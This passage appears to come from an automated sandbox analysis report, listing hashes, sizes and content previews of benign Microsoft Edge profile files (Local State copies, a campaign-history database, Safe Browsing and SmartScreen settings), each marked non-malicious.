Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39b18.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39b76.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39cdd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c3ce.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4023e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ad92.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50910.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089817943648934
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWGdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynizkzItSmd6qE7lFoC
MD5:	5CD2652FB91916B161F24B5F0F46FF0F
SHA1:	BF1F6F669F2AE5C861C678DCE16AF10F33537A11
SHA-256:	2A6D964043BC9FE51AB3DADB087207B430D04F43C9C3FFC3F7FB80716E9E9B98
SHA-512:	9E5D43DC692BD8F802F073FDDB578C53612EB4B989BB2DD1D9DD402FF24E45D0AF0CBAF970813F1961535AECCF9A62C567E26869525D8EE9D081C99549B4DFBF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036337
Entropy (8bit):	4.001519577891331
Encrypted:	false
SSDEEP:	49152:WPxYaNEMRzlPjitWqhhD67KH4dXs8QduRIKj4M0DRhOb0JWpayuEJnIhw8Kb0aH5:I
MD5:	2B9F52042D3C92208949A08E7B60B2CC
SHA1:	A5DAFACD6050BDBCDFCAD3EE5DD345C452B90FBF
SHA-256:	178498934BB6C39EE1E4A60FC17835A6017E18D2E652EE92A399538A905CCD42
SHA-512:	1E346E495DD4C010FECA5246E9B020BC801C96B3529519EE9F1DCD13B2E0D0A85329BE2837993EB758FB42DEE935DE94683EFEAEF19998C057F9DEA0E24508A5
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036337
Entropy (8bit):	4.001519577891331
Encrypted:	false
SSDEEP:	49152:WPxYaNEMRzlPjitWqhhD67KH4dXs8QduRIKj4M0DRhOb0JWpayuEJnIhw8Kb0aH5:I
MD5:	2B9F52042D3C92208949A08E7B60B2CC
SHA1:	A5DAFACD6050BDBCDFCAD3EE5DD345C452B90FBF
SHA-256:	178498934BB6C39EE1E4A60FC17835A6017E18D2E652EE92A399538A905CCD42
SHA-512:	1E346E495DD4C010FECA5246E9B020BC801C96B3529519EE9F1DCD13B2E0D0A85329BE2837993EB758FB42DEE935DE94683EFEAEF19998C057F9DEA0E24508A5
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. 